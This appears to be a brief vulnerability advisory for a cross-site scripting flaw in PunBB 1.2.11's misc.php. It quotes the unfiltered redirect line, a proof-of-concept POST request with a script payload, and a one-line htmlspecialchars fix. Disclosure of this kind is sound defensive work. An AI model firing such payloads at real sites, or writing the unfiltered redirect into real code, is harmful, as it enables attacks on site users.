PunBB 1.2.11 Cross-Site Scripting File name :- misc.php Action :- Send Email Line :- 123 [php] redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']); [/php] The $_POST['redirect_url'] = Unfilter Input Exploit :- Send POST Request [code] GET :- /PunBB/misc.php?email=2 POST :- form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><s cript>alert(1);</script> [/code] Fix :- Replace The Line With :- [php] redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']); [/php]